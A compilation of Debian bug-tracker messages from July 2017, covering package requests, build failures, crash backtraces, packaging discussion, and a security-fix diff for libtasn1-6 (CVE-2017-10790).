Bug#799549: systemd: Provide system-log-daemon

[Marc Lehmann]

On Mon, Jul 24, 2017 at 04:52:28PM +0200, Michael Biebl  
wrote:
> > One could argue that this is a bug in all packages that depend on
> > system-log-daemon, as they essentially break unrelated packages (all
> > packages relying on systemd journaling to work, or rather, on /dev/log
> > belonging to systemd), but of course the underlying issue is that systemd
> > uses and provides /dev/log without providing systemd-log-daemon, so there
> > is no good way to express this dependency.
> > 
> 
> If installing inetutils-syslogd breaks logging under systemd, this is a
> bug  in the inetutils-syslogd package and should be tracked as such.
> rsyslog or syslog-ng work fine when being installed under systemd and
> this is supposed to work.

Thanks, I will report this against inetutils-syslogd.

However, I still think this is an actual bug in systemd (or rather, the
packaging), as installing inetutils-syslogd (or any other syslogd) should
not be needed when systemd provides /dev/log (and a corresponding logging
framework), and as it is, packages requiring /dev/log have no good way of
expressing this dependency (they can't, or at least shouldn't, add systemd
as dependency, can't depend on a specific syslogd and can't depend on a
generic system-log-daemon dependency either).

-- 
The choice of a   Deliantra, the free code+content MORPG
  -==- _GNU_  http://www.deliantra.net
  ==-- _   generation
  ---==---(_)__  __   __  Marc Lehmann
  --==---/ / _ \/ // /\ \/ /  schm...@schmorp.de
  -=/_/_//_/\_,_/ /_/\_\

Bug#869629: ITP: node-websocket-stream -- use websockets with the node streams API in browser and node

[Ying-Chun Liu (PaulLiu)]

Package: wnpp
Severity: wishlist
Owner: Ying-Chun Liu (PaulLiu) 

* Package name: node-websocket-stream
  Version : 5.0.0
  Upstream Author : Max Ogden
* URL : https://github.com/maxogden/websocket-stream#readme
* License : BSD-2-Clause
  Programming Lang: JavaScript
  Description : use websockets with the node streams API in browser
and node
 Use HTML5 websockets using the Node Streams API. This module works in
Node or
 in Browsers that support WebSockets. You can use browserify to package this
 module for browser use.
 .
 Node.js is an event-based server-side JavaScript engine.

-- 
PaulLiu (劉穎駿)
E-mail: Ying-Chun Liu (PaulLiu) 



signature.asc
Description: OpenPGP digital signature

Bug#869574: stretch-pu: package kdepim/4:16.04.3-4

[Salvatore Bonaccorso]

Hi Sandro,

On Mon, Jul 24, 2017 at 05:44:43PM +0200, Sandro Knauß wrote:
> Hey,
> 
> > It *will* need to be adjusted. You can't re-upload with a version number 
> that's already been used.
> 
> I didn't found the rule for the versionnumbers for pu, that's why I havn't 
> touched them yet [0].

currently in stretch is 4:16.04.3-3. Thus the version which should
preferably be used would be 4:16.04.3-3+deb9u1.

HTH,

Regards,
Salvatore

Bug#869613: libreoffice write crashes (Debian 9)

[Rene Engelhard]

severity 869613 grave
reassign 869613 src:linux
forcemerge 865866 869613 
affects 869613 libreoffice-writer
thanks

Hi,

On Mon, Jul 24, 2017 at 11:23:33PM -0400, Aaron Valdes wrote:
> Thread 1 "soffice.bin" received signal SIGSEGV, Segmentation fault.
> 0xa72a8975 in _expand_stack_to(unsigned char*) () from 
> /usr/lib/jvm/java-8-openjdk-i386/jre/lib/i386/server/libjvm.so
> #0  0xa72a8975 in _expand_stack_to(unsigned char*) () at 
> /usr/lib/jvm/java-8-openjdk-i386/jre/lib/i386/server/libjvm.so
> #1  0xa72ab184 in os::Linux::manually_expand_stack(JavaThread*, unsigned 
> char*) () at /usr/lib/jvm/java-8-openjdk-i386/jre/lib/i386/server/libjvm.so
> #2  0xa72b56c8 in os::create_main_thread(JavaThread*) () at 
> /usr/lib/jvm/java-8-openjdk-i386/jre/lib/i386/server/libjvm.so
> #3  0xa73f7ede in Threads::create_vm(JavaVMInitArgs*, bool*) () at 
> /usr/lib/jvm/java-8-openjdk-i386/jre/lib/i386/server/libjvm.so
> #4  0xa70a4645 in JNI_CreateJavaVM () at 
> /usr/lib/jvm/java-8-openjdk-i386/jre/lib/i386/server/libjvm.so
> #5  0xb232f9a1 in  () at /usr/lib/libreoffice/program/libjvmfwklo.so
> #6  0xb2341bf4 in jfw_startVM(JavaInfo const*, JavaVMOption*, long, 
> JavaVM_**, JNIEnv_**) () at /usr/lib/libreoffice/program/libjvmfwklo.so

Aha. So it's the known regression in the kernel breaking Java. I guessed that 
at first,
though you claiming it works without -gtk2 was puzzling me...

Wouldn't have happened on amd64...

Regards,

Rene

Bug#867398: libtasn1-6: diff for NMU version 4.12-2.1

[Salvatore Bonaccorso]

Control: tags 867398 + patch
Control: tags 867398 + pending

Hi Andreas,

I've prepared an NMU for libtasn1-6 (versioned as 4.12-2.1) and
uploaded it to DELAYED/10. Please feel free to tell me if I
should delay it longer. I still agree the fix is not urgent, but while
looking for the fixing commit, I produced builts, so proposed the NMU.
I can happily drop it if you feel it's not needed. OTOH if unstable is
fixed an update for a future point release for both jessie and stretch
would be good.

Regards,
Salvatore
diff -Nru libtasn1-6-4.12/debian/changelog libtasn1-6-4.12/debian/changelog
--- libtasn1-6-4.12/debian/changelog	2017-06-18 11:16:39.0 +0200
+++ libtasn1-6-4.12/debian/changelog	2017-07-25 07:04:58.0 +0200
@@ -1,3 +1,11 @@
+libtasn1-6 (4.12-2.1) unstable; urgency=medium
+
+  * Non-maintainer upload.
+  * _asn1_check_identifier: safer access to values read (CVE-2017-10790)
+(Closes: #867398)
+
+ -- Salvatore Bonaccorso   Tue, 25 Jul 2017 07:04:58 +0200
+
 libtasn1-6 (4.12-2) unstable; urgency=low
 
   * Upload to unstable.
diff -Nru libtasn1-6-4.12/debian/patches/0001-_asn1_check_identifier-safer-access-to-values-read.patch libtasn1-6-4.12/debian/patches/0001-_asn1_check_identifier-safer-access-to-values-read.patch
--- libtasn1-6-4.12/debian/patches/0001-_asn1_check_identifier-safer-access-to-values-read.patch	1970-01-01 01:00:00.0 +0100
+++ libtasn1-6-4.12/debian/patches/0001-_asn1_check_identifier-safer-access-to-values-read.patch	2017-07-25 07:04:58.0 +0200
@@ -0,0 +1,57 @@
+From: Nikos Mavrogiannopoulos 
+Date: Thu, 22 Jun 2017 16:31:37 +0200
+Subject: _asn1_check_identifier: safer access to values read
+Origin: http://git.savannah.gnu.org/gitweb/?p=libtasn1.git;a=commit;h=d8d805e1f2e6799bb2dff4871a8598dc83088a39
+Bug-Debian-Security: https://security-tracker.debian.org/tracker/CVE-2017-10790
+Bug-Debian: https://bugs.debian.org/867398
+
+Signed-off-by: Nikos Mavrogiannopoulos 
+---
+ lib/parser_aux.c | 17 -
+ 1 file changed, 12 insertions(+), 5 deletions(-)
+
+diff --git a/lib/parser_aux.c b/lib/parser_aux.c
+index 976ab38..786ea64 100644
+--- a/lib/parser_aux.c
 b/lib/parser_aux.c
+@@ -955,7 +955,7 @@ _asn1_check_identifier (asn1_node node)
+ 	  if (p2 == NULL)
+ 	{
+ 	  if (p->value)
+-		_asn1_strcpy (_asn1_identifierMissing, p->value);
++		_asn1_str_cpy (_asn1_identifierMissing, sizeof(_asn1_identifierMissing), (char*)p->value);
+ 	  else
+ 		_asn1_strcpy (_asn1_identifierMissing, "(null)");
+ 	  return ASN1_IDENTIFIER_NOT_FOUND;
+@@ -968,9 +968,15 @@ _asn1_check_identifier (asn1_node node)
+ 	  if (p2 && (type_field (p2->type) == ASN1_ETYPE_DEFAULT))
+ 	{
+ 	  _asn1_str_cpy (name2, sizeof (name2), node->name);
+-	  _asn1_str_cat (name2, sizeof (name2), ".");
+-	  _asn1_str_cat (name2, sizeof (name2), (char *) p2->value);
+-	  _asn1_strcpy (_asn1_identifierMissing, p2->value);
++	  if (p2->value)
++	{
++	  _asn1_str_cat (name2, sizeof (name2), ".");
++	  _asn1_str_cat (name2, sizeof (name2), (char *) p2->value);
++	  _asn1_str_cpy (_asn1_identifierMissing, sizeof(_asn1_identifierMissing), (char*)p2->value);
++	}
++	  else
++		_asn1_strcpy (_asn1_identifierMissing, "(null)");
++
+ 	  p2 = asn1_find_node (node, name2);
+ 	  if (!p2 || (type_field (p2->type) != ASN1_ETYPE_OBJECT_ID) ||
+ 		  !(p2->type & CONST_ASSIGN))
+@@ -990,7 +996,8 @@ _asn1_check_identifier (asn1_node node)
+ 		  _asn1_str_cpy (name2, sizeof (name2), node->name);
+ 		  _asn1_str_cat (name2, sizeof (name2), ".");
+ 		  _asn1_str_cat (name2, sizeof (name2), (char *) p2->value);
+-		  _asn1_strcpy (_asn1_identifierMissing, p2->value);
++		  _asn1_str_cpy (_asn1_identifierMissing, sizeof(_asn1_identifierMissing), (char*)p2->value);
++
+ 		  p2 = asn1_find_node (node, name2);
+ 		  if (!p2 || (type_field (p2->type) != ASN1_ETYPE_OBJECT_ID)
+ 		  || !(p2->type & CONST_ASSIGN))
+-- 
+2.13.3
+
diff -Nru libtasn1-6-4.12/debian/patches/series libtasn1-6-4.12/debian/patches/series
--- libtasn1-6-4.12/debian/patches/series	1970-01-01 01:00:00.0 +0100
+++ libtasn1-6-4.12/debian/patches/series	2017-07-25 07:04:58.0 +0200
@@ -0,0 +1 @@
+0001-_asn1_check_identifier-safer-access-to-values-read.patch

Bug#868486: diffoscope often fails to detect APKs

[Hans-Christoph Steiner]

The APK format is a ZIP file that always includes the files
AndroidManifest.xml and classes.dex.  Then it also always
has a JAR signature (i.e. META-INF/).  It does not have the
JAR magic number CAFEBABE in it.

Bug#836487: Pending fixes for bugs in the golang-go.crypto package

[pkg-go-maintainers]

tag 836487 + pending
thanks

Some bugs in the golang-go.crypto package are closed in revision
b0a924eab64cb36115f84b3962a82c2c5065f294 in branch 'master' by
Michael Lustfield

The full diff can be seen at
https://anonscm.debian.org/cgit/pkg-go/packages/golang-go.crypto.git/commit/?id=b0a924e

Commit message:

Removed inactive user from Uploaders list. (Closes: #836487)

Bug#869503: Totem Player Segmentation Fault on Start Up (Debian 9)

[Jason Crain]

On Mon, Jul 24, 2017 at 10:09:32AM -0400, Aaron Valdes wrote:
> Thanks Jason for all your guidance.
> 
> Here is the backtrace run in the order you suggested.
> 
> This is just with bt in gdm.
> 
> See below.
[snip backtrace]

Please install the following debug packages and create the backtrace
again so it will include the missing symbols.

libcogl20-dbgsym
libclutter-1.0-dbg

Bug#864162: Confirmed

[Ivan Warren]

I can confirm this is an issue.

I had to hack through the systemd start file (and remove -p ...) for 
opendkim, otherwise I couldn't get postfix milter to connect to the DKIM 
filter daemon (which require a inet connection. Local/Unix socket won't 
work because my postfix is chroot'd)..


--Ivan




smime.p7s
Description: Signature cryptographique S/MIME

Bug#869628: ITP: kashmir -- general purpose library to complement stdlib

[Alexandre Viau]

Package: wnpp
Severity: wishlist
Owner: Alexandre Viau 

* Package name: kashmir
  Version : TODO
  Upstream Author : corvusoft
* URL : https://github.com/Corvusoft/kashmir-dependency
* License : Boost-1.0
  Programming Lang: C++
  Description : general purpose library to complement stdlib


This is needed for newer restbed versions

-- 
Alexandre Viau
av...@debian.org



signature.asc
Description: OpenPGP digital signature

Bug#869627: maim -s fails

[Mathieu Petit-Clair]

Package: maim
Version: 3.3.41-1+b1
Severity: important

Dear Maintainer,

"maim -s" fails with the following output:

~ $ maim -s test.jpg
terminate called after throwing an instance of 
'cxxopts::option_not_exists_exception'
  what():  Option ‘g’ does not exist
  Aborted
  Selection was cancelled or slop failed to run. Make sure it's installed!

I can confirm slop is installed (v6.3.47). I believe this bug started
after I upgraded to the most recent version of slop (last week).

I have built the latest "maim" from github (v5.4.64) and it works fine.

*** Reporter, please consider answering these questions, where appropriate ***

   * What led up to the situation?
   * What exactly did you do (or not do) that was effective (or
 ineffective)?
   * What was the outcome of this action?
   * What outcome did you expect instead?

*** End of the template - remove these template lines ***


-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.11.0-2-amd64 (SMP w/8 CPU cores)
Locale: LANG=fr_CA.UTF-8, LC_CTYPE=fr_CA.UTF-8 (charmap=UTF-8), 
LANGUAGE=fr:en_GB (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages maim depends on:
ii  libc6   2.24-12
ii  libgcc1 1:7.1.0-10
ii  libimlib2   1.4.8-1
ii  libstdc++6  7.1.0-10
ii  libx11-62:1.6.4-3
ii  libxext62:1.3.3-1+b2
ii  libxfixes3  1:5.0.3-1
ii  libxrandr2  2:1.5.1-1

maim recommends no packages.

maim suggests no packages.

-- no debconf information

Bug#869626: node-ws: Please update to upstream version 3.0.0

[Ying-Chun Liu (PaulLiu)]

Package: node-ws
Version: 1.1.0+ds1.e6ddaae4-3
Severity: wishlist

Dear Maintainer,

I'm currently packaging node-mqtt. However, node-mqtt depends on
node-websocket-stream and it depends on node-ws (>= 3.0.0).

Can you please update to latest node-ws (3.0.0) from the upstream?

Yours Sincerely,
Paul


-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.11.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored:
LC_ALL$
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages node-ws depends on:
ii  libc6   2.24-12
ii  libgcc1 1:7.1.0-9
ii  libstdc++6  7.1.0-9
ii  node-commander  2.4.0-1
ii  node-tinycolor  0.0.1~git20130725-1
ii  nodejs [nodejs-abi-46]  4.8.3~dfsg-1
ii  nodejs-dev  4.8.3~dfsg-1

node-ws recommends no packages.

node-ws suggests no packages.

-- no debconf information

-- 
PaulLiu (劉穎駿)
E-mail: Ying-Chun Liu (PaulLiu) 



signature.asc
Description: OpenPGP digital signature

Bug#869509: [Pkg-emacsen-addons] Bug#869509: dh-elpa: please support tuning which emacs flavors to skip

[Aaron M. Ucko]

Sean Whitton  writes:

> Based on previous conversations with Rob, the situation where we have
> both emacs24 and emacs25 in Debian is meant to be temporary, and for
> transitional purposes -- Rob and I tried to get emacs24 removed in time
> for the stretch freeze, and it only remains because we didn't manage to
> do that.  The aim is not to provide both Emacs 24 and Emacs 25 to users.

OK, thanks.  Should dh-elpa then stop byte-compiling anything against
Emacs 24, if there are already addons that don't support it and Emacs 24
is on the way out anyway?

-- 
Aaron M. Ucko, KB1CJC (amu at alum.mit.edu, ucko at debian.org)
http://www.mit.edu/~amu/ | http://stuff.mit.edu/cgi/finger/?a...@monk.mit.edu

Bug#869583: intltool patch

[Kartik Mistry]

On Tue, Jul 25, 2017 at 4:00 AM, gregor herrmann  wrote:
>> Cf. #826471 in intltool which contains a patch.
>>
>> I haven't looked if/how far it needs to be adadpted for the old
>> embedded versions of intltool-update but it might serve as a starting
>> point.
>
> Here's a debdiff with a patch for intltool-update.in.

Feel free to do NMU. Otherwise, I'll update it later tonight.

And, thanks for the patch!

-- 
Kartik Mistry | IRC: kart_
{0x1f1f, kartikm}.wordpress.com

Bug#869613: libreoffice write crashes (Debian 9)

[Aaron Valdes]

I have attached gdbtrace.log.


> 
> Do you have a strace (note you need to use -f/-ff if you strace lowriter
> and/or soffice or somesuch) or a gdb backtrace?
> 
>
warning: Currently logging to gdbtrace.log.  Turn the logging off and on to make the new setting effective.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
[New Thread 0xafad5b40 (LWP 7197)]
[New Thread 0xae4c2b40 (LWP 7199)]
[New Thread 0xadaffb40 (LWP 7200)]
[New Thread 0xad0ffb40 (LWP 7201)]
[New Thread 0xac8feb40 (LWP 7202)]
[Thread 0xae4c2b40 (LWP 7199) exited]
[New Thread 0xae4c2b40 (LWP 7203)]
[New Thread 0xabc58b40 (LWP 7204)]
[Thread 0xabc58b40 (LWP 7204) exited]
[New Thread 0xabc58b40 (LWP 7205)]
[New Thread 0xab3b4b40 (LWP 7208)]
[Thread 0xab3b4b40 (LWP 7208) exited]
[Thread 0xabc58b40 (LWP 7205) exited]
Traceback (most recent call last):
  File "/usr/share/gdb/auto-load/usr/lib/libreoffice/program/libswlo.so-gdb.py", line 23, in 
module=importlib.import_module("libreoffice."+mod)
  File "/usr/lib/python3.5/importlib/__init__.py", line 126, in import_module
return _bootstrap._gcd_import(name[level:], package, level)
  File "", line 986, in _gcd_import
  File "", line 969, in _find_and_load
  File "", line 958, in _find_and_load_unlocked
  File "", line 673, in _load_unlocked
  File "", line 673, in exec_module
  File "", line 222, in _call_with_frames_removed
  File "/usr/share/libreoffice/gdb/libreoffice/sw.py", line 11, in 
from libreoffice.util import printing
ImportError: No module named 'libreoffice.util'
[Thread 0xae4c2b40 (LWP 7203) exited]
[New Thread 0xae4c2b40 (LWP 7212)]
[Thread 0xae4c2b40 (LWP 7212) exited]

Thread 1 "soffice.bin" received signal SIGSEGV, Segmentation fault.
0xa72a8975 in _expand_stack_to(unsigned char*) () from /usr/lib/jvm/java-8-openjdk-i386/jre/lib/i386/server/libjvm.so
#0  0xa72a8975 in _expand_stack_to(unsigned char*) () at /usr/lib/jvm/java-8-openjdk-i386/jre/lib/i386/server/libjvm.so
#1  0xa72ab184 in os::Linux::manually_expand_stack(JavaThread*, unsigned char*) () at /usr/lib/jvm/java-8-openjdk-i386/jre/lib/i386/server/libjvm.so
#2  0xa72b56c8 in os::create_main_thread(JavaThread*) () at /usr/lib/jvm/java-8-openjdk-i386/jre/lib/i386/server/libjvm.so
#3  0xa73f7ede in Threads::create_vm(JavaVMInitArgs*, bool*) () at /usr/lib/jvm/java-8-openjdk-i386/jre/lib/i386/server/libjvm.so
#4  0xa70a4645 in JNI_CreateJavaVM () at /usr/lib/jvm/java-8-openjdk-i386/jre/lib/i386/server/libjvm.so
#5  0xb232f9a1 in  () at /usr/lib/libreoffice/program/libjvmfwklo.so
#6  0xb2341bf4 in jfw_startVM(JavaInfo const*, JavaVMOption*, long, JavaVM_**, JNIEnv_**) () at /usr/lib/libreoffice/program/libjvmfwklo.so
#7  0xa7ad011a in  () at /usr/lib/libreoffice/program/libjavavmlo.so
#8  0xa7ae4933 in  () at /usr/lib/libreoffice/program/libjavaloaderlo.so
#9  0xa7ae67ef in  () at /usr/lib/libreoffice/program/libjavaloaderlo.so
#10 0xb23c4058 in  () at /usr/lib/libreoffice/program/libuno_cppuhelpergcc3.so.3
#11 0xb23c6274 in  () at /usr/lib/libreoffice/program/libuno_cppuhelpergcc3.so.3
#12 0xb23c63a5 in  () at /usr/lib/libreoffice/program/libuno_cppuhelpergcc3.so.3
#13 0xb23c1f87 in  () at /usr/lib/libreoffice/program/libuno_cppuhelpergcc3.so.3
#14 0xb4ffde35 in  () at /usr/lib/libreoffice/program/libmergedlo.so
#15 0xb50007ca in  () at /usr/lib/libreoffice/program/libmergedlo.so
#16 0xb50023c9 in  () at /usr/lib/libreoffice/program/libmergedlo.so
#17 0xa8703ea6 in SwXDispatchProviderInterceptor::queryDispatch(com::sun::star::util::URL const&, rtl::OUString const&, long) (this=0x80dd90a0, aURL=..., aTargetFrameName=..., nSearchFlags=) at ./sw/source/uibase/uno/unodispatch.cxx:86
#18 0xb5002c75 in  () at /usr/lib/libreoffice/program/libmergedlo.so
#19 0xb50a8697 in  () at /usr/lib/libreoffice/program/libmergedlo.so
#20 0xb5144862 in  () at /usr/lib/libreoffice/program/libmergedlo.so
#21 0xb663ae89 in Menu::Activate() () at /usr/lib/libreoffice/program/libmergedlo.so
#22 0xb663e4cd in Menu::HandleMenuActivateEvent(Menu*) const () at /usr/lib/libreoffice/program/libmergedlo.so
#23 0xaf237bb5 in  () at /usr/lib/libreoffice/program/libvclplug_gtk3lo.so
#24 0xaf237bc0 in  () at /usr/lib/libreoffice/program/libvclplug_gtk3lo.so
#25 0xaf237d42 in  () at /usr/lib/libreoffice/program/libvclplug_gtk3lo.so
#26 0xb6641fa0 in  () at /usr/lib/libreoffice/program/libmergedlo.so
#27 0xb6677953 in SystemWindow::SetMenuBar(MenuBar*) () at /usr/lib/libreoffice/program/libmergedlo.so
#28 0xb50529f9 in  () at /usr/lib/libreoffice/program/libmergedlo.so
#29 0xb55351cf in  () at /usr/lib/libreoffice/program/libmergedlo.so
#30 0xb5538738 in  () at /usr/lib/libreoffice/program/libmergedlo.so
#31 0xb57beff4 in  () at /usr/lib/libreoffice/program/libmergedlo.so
#32 0xb57c01f4 in SfxBaseController::attachFrame(com::sun::star::uno::Reference const&) () at /usr/lib/libreoffice/program/libmergedlo.so
#33 0xb57ad9b3 in  () at /usr/lib/libreoffice/program/libmergedlo.so
#34 

Bug#869416: [pkg-gnupg-maint] Bug#869416: pinentry-gtk2: fails to request passphrase when importing OpenPGP secret key with Seahorse

[NIIBE Yutaka]

Hello,

intrig...@debian.org writes:
>   gpg-agent[11835]: DBG: error calling pinentry: Inappropriate ioctl for 
> device 

This error message is related to DISPLAY or GPG_TTY.

I guess that pinentry is invoked with no DISPLAY and no GPG_TTY.  It
failed to open window, and then, it failed at isatty (3), then return
ENOTTY (its error string: "Inappropriate ioctl for device").

>  * This problem doesn't happen when using pinentry-gnome3.
>The difference I see in gpg-agent's debug log is that when using
>pinentry-gnome3, I see a number of OPTION commands sent to
>gpg-agent, e.g. OPTION display=:1, while I see no such thing when
>using pinentry-gtk-2. I'm not sure who's responsible for sending
>these options.

When DISPLAY is there for gpgme, gpgme sends "OPTION display=:1" to
gpg-agent.

Does Seahorse have DISPLAY env var?

>  * Importing the same key with gpg on the command line in GNOME
>Terminal works just fine: the expected pinentry-gtk2 dialog is
>displayed and the key is imported as a result.

I think that gpg has DISPLAY env var under GNOME Terminal.
-- 

Bug#869625: ITP: deepin-tool-kit -- Toolkit for C++/Qt development of Deepin software

[Boyuan Yang]

Package: wnpp
Severity: wishlist
Owner: Boyuan Yang <073p...@gmail.com>

* Package name: deepin-tool-kit
  Version : 0.3.1
  Upstream Author : Deepin Technology Co., Ltd.
* URL : https://www.deepin.org/
* License : GPL-3+
  Programming Lang: C++
  Description : Toolkit for C++/Qt development of Deepin software

Deepin Tool Kit (Dtk) is the base devlopment tool of all C++/Qt Developer work
on Deepin.

This source package is the dependency of nearly all Deepin softwares.

I intend to maintain this package in the (planning) pkg-deepin group. The
packaging git repository will be put into collab-maint to ease external
contributions.

Bug#868190: gatling: -u is silently ignored if is a username rather than a numeric user id

[Thomas Kremer]

Hi,

I tracked down the offending line that lead to the failure of reporting
a name lookup failure in the chroot, see attached patch.
I haven't had the time to test the patch though.

The issue is already fixed in upstream's ver. 0.15.

The name lookup failure itself is due to the username being looked up
twice, once before chrooting and once after chrooting (a feature to have
CGIs unable to interfere with the main server process by using different
uids, though a little confusing). Providing a /var/www/etc/passwd with
the user is however not enough, because Debian's gatling is linked with
glibc, which uses libnss. Providing
/var/www/lib/x86_64-linux-gnu/{libnss_compat.so.2,libnsl.so.1} to the
chroot can solve this.

In a related note, I suggest to make use of start-stop-daemon's "-d"
option to give the user an option (in /etc/default/gatling) to specify
the served directory without needing to chroot into it (as a chroot does
imply some restrictions on what kind of CGI applications can be
implemented).


Yours
Thomas


-- 
OpenPGP Key ID: 0x6BFFE5CF3C7720398928CE741F2DAE97486A60BF
--- gatling-0.13/gatling.c.orig	2017-07-25 03:25:00.278571785 +0200
+++ gatling-0.13/gatling.c	2017-07-25 03:25:59.666866276 +0200
@@ -1382,7 +1382,7 @@
 	  buffer fsb;
 #ifndef __MINGW32__
 	  if (chroot_to) { chdir(chroot_to); chroot(chroot_to); }
-	  prepare_switch_uid(new_uid);
+	  if (prepare_switch_uid(new_uid)==-1) panic("switch_uid failed");
 #endif
 	  if (!io_readfile(,".")) panic("open()");
 	  buffer_init(,(void*)read,forksock[1],fsbuf,sizeof fsbuf);

Bug#869624: ITP: libweasel-perl - Perl's php/Mink-inspired abstracted web-driver framework

[Robert J. Clay]

Package: wnpp
Severity: wishlist
X-Debbugs-CC: debian-de...@lists.debian.org,debian-p...@lists.debian.org

* Package name: libweasel-perl
  Version: 0.11
  Upstream Author : Erik Huelsmann 
* URL or Web page : https://metacpan.org/pod/Weasel
* License   : perl
  Description : Weasel - Perl's php/Mink-inspired abstracted web-driver
framework

This module abstracts away the differences between the various web-driver
protocols, like the Mink project does for PHP.

While heavily inspired by Mink, `Weasel` aims to improve over it by being
extensible, providing not just access to the underlying browser, yet to
provide building blocks for further development and abstraction.


-- 
Robert J. Clay
rjc...@gmail.com
j...@rocasa.us

Bug#845255: debian-policy: Include best practices for packaging database applications

[Paul Gevers]

Hi Mathias,

On 23-07-17 18:25, Mathias Behrle wrote:
> As the bug title says, those recommendations are best practices and for me 
> there
> is no need to put them into policy.

There is lots of best practices in policy. It is written as "xyz
*should* abc".

> There can always be good reasons to not use
> dbconfig-common at all (it just can't be as flexible as required to meet all 
> the
> different scenarios) and therefore it won't be desirable to put any pressure 
> on
> maintainers of database applications to use it.

Please correct me if I am wrong but the best practices don't request you
to use dbconfig-common (although that would be a future step). It rather
tries to describe what every package should do. (And yes, it does
mention that a package COULD use dbconfig-common to do it).

Also, regarding your comment on flexibility of dbconfig-common, could
you please provide a good example where dbconfig-common is too rigid,
and a package is doing it better itself? I think there is so much that
can go wrong in doing database manipulation, that I think it is in the
interest of Debian quality to put it all in one place. I think
dbconfig-common is that place. But, this bug is not about
dbconfig-common, so please contact me about this on
dbconfig-common-de...@lists.alioth.debian.org or in a bug against
dbconfig-common.

> Nevertheless a good
> best paractices section like [1] with hints to various examples is highly
> appreciated and will be sufficient.

Linked in policy? Or just at the documentation site as it is now? I am
afraid that people may not find it easily there.

Paul



signature.asc
Description: OpenPGP digital signature

Bug#869622: fastnetmon: FTBFS on hurd-i386: no _IOT_nmreq or pthread_attr_setaffinity_np

[Aaron M. Ucko]

Source: fastnetmon
Version: 1.1.3+dfsg-1
Severity: important
Justification: fails to build from source

The build of fastnetmon for hurd-i386 (admittedly not a release
architecture) failed:

  In file included from /usr/include/i386-gnu/sys/ioctl.h:26:0,
   from 
/<>/fastnetmon-1.1.3+dfsg/src/netmap_plugin/netmap_includes/net/netmap_user.h:140,
   from 
/<>/fastnetmon-1.1.3+dfsg/src/netmap_plugin/netmap_collector.cpp:30:
  
/<>/fastnetmon-1.1.3+dfsg/src/netmap_plugin/netmap_includes/net/netmap_user.h:
 In function 'nm_desc* nm_open(const char*, const nmreq*, uint64_t, const 
nm_desc*)':
  
/<>/fastnetmon-1.1.3+dfsg/src/netmap_plugin/netmap_includes/net/netmap.h:533:19:
 error: '_IOT_nmreq' was not declared in this scope
   #define NIOCREGIF _IOWR('i', 146, struct nmreq) /* interface register */
 ^
  
/<>/fastnetmon-1.1.3+dfsg/src/netmap_plugin/netmap_includes/net/netmap_user.h:535:19:
 note: in expansion of macro 'NIOCREGIF'
if (ioctl(d->fd, NIOCREGIF, >req)) {
 ^
  /<>/fastnetmon-1.1.3+dfsg/src/netmap_plugin/netmap_collector.cpp: 
In function 'void receiver(std::__cxx11::string)':
  
/<>/fastnetmon-1.1.3+dfsg/src/netmap_plugin/netmap_collector.cpp:296:106:
 error: 'pthread_attr_setaffinity_np' was not declared in this scope
   pthread_attr_setaffinity_np(thread_attrs.native_handle(), 
sizeof(cpu_set_t), _cpu_set);

^

Please either conditionalize the use of these definitions (bearing in
mind that they might not exist on kFreeBSD either) or restrict
fastnetmon's Architecture setting accordingly.

Thanks!

-- 
Aaron M. Ucko, KB1CJC (amu at alum.mit.edu, ucko at debian.org)
http://www.mit.edu/~amu/ | http://stuff.mit.edu/cgi/finger/?a...@monk.mit.edu

Bug#869621: fastnetmon: FTBFS on non-x86: uses rdtsc unconditionally

[Aaron M. Ucko]

Source: fastnetmon
Version: 1.1.3+dfsg-1
Severity: important
Justification: fails to build from source

Builds of fastnetmon for non-x86 architectures have been failing due
to its unconditional use of the rdtsc assembly instruction, which
either requires different syntax (as on powerpc) or is unavailable
altogether.  Please either arrange to use this instruction only on x86
or limit the package's Architecture setting accordingly.

Thanks!

-- 
Aaron M. Ucko, KB1CJC (amu at alum.mit.edu, ucko at debian.org)
http://www.mit.edu/~amu/ | http://stuff.mit.edu/cgi/finger/?a...@monk.mit.edu

Bug#868868: emacs25: Please include patch to fix FTBFS on m68k

[Rob Browning]

Andreas Schwab  writes:

> On Jul 25 2017, "Michael Karcher"  wrote:
>
>> struct Lisp_Symbol alignas (GCALIGNMENT) lispsym[1101];
>>
>> This does not generate an array of aligned elements, but an aligned array
>> of non-aligned elements.
>
> Thanks, I have fixed that.

OK, just to make sure I followed correctly, it looks like I should
probably apply something like this to the Debian packages?

  commit 7a4d9f6304cffa39642507609605bcbfa40d4675
  Author: Andreas Schwab 
  Date:   Tue Jul 25 01:12:50 2017 +0200

Properly align global lispsym

* lib-src/make-docfile.c (close_emacs_globals): Wrap struct
Lisp_Symbols inside struct.
* src/alloc.c (sweep_symbols): Update use of lispsym.
* src/lisp.h (builtin_lisp_symbol): Likewise.

Thanks all for the help
-- 
Rob Browning
rlb @defaultvalue.org and @debian.org
GPG as of 2011-07-10 E6A9 DA3C C9FD 1FF8 C676 D2C4 C0F0 39E9 ED1B 597A
GPG as of 2002-11-03 14DD 432F AE39 534D B592 F9A0 25C8 D377 8C7E 73A4

Bug#815333: Errors

[Jelmer Vernooij]

The test failures here are actually:

ERROR: test_simple (dulwich.tests.test_porcelain.PushTests)
--
Traceback (most recent call last):
  File "dulwich/tests/test_porcelain.py", line 478, in test_simple
self.assertEqual(r_clone[b'HEAD'].id, self.repo[refs_path].id)
  File "dulwich/repo.py", line 456, in __getitem__
return self.object_store[self.refs[name]]
  File "dulwich/object_store.py", line 116, in __getitem__
type_num, uncomp = self.get_raw(sha)
  File "dulwich/object_store.py", line 378, in get_raw
raise KeyError(hexsha)
KeyError: '1a588fa84ea70b3ca8e9d40d6a34c19dfb5a3e07'

==
ERROR: test_fetch_from_dulwich_issue_88_alternative 
(dulwich.tests.compat.test_web.DumbWebTestCase)
--
Traceback (most recent call last):
  File "dulwich/tests/compat/server_utils.py", line 269, in 
test_fetch_from_dulwich_issue_88_alternative
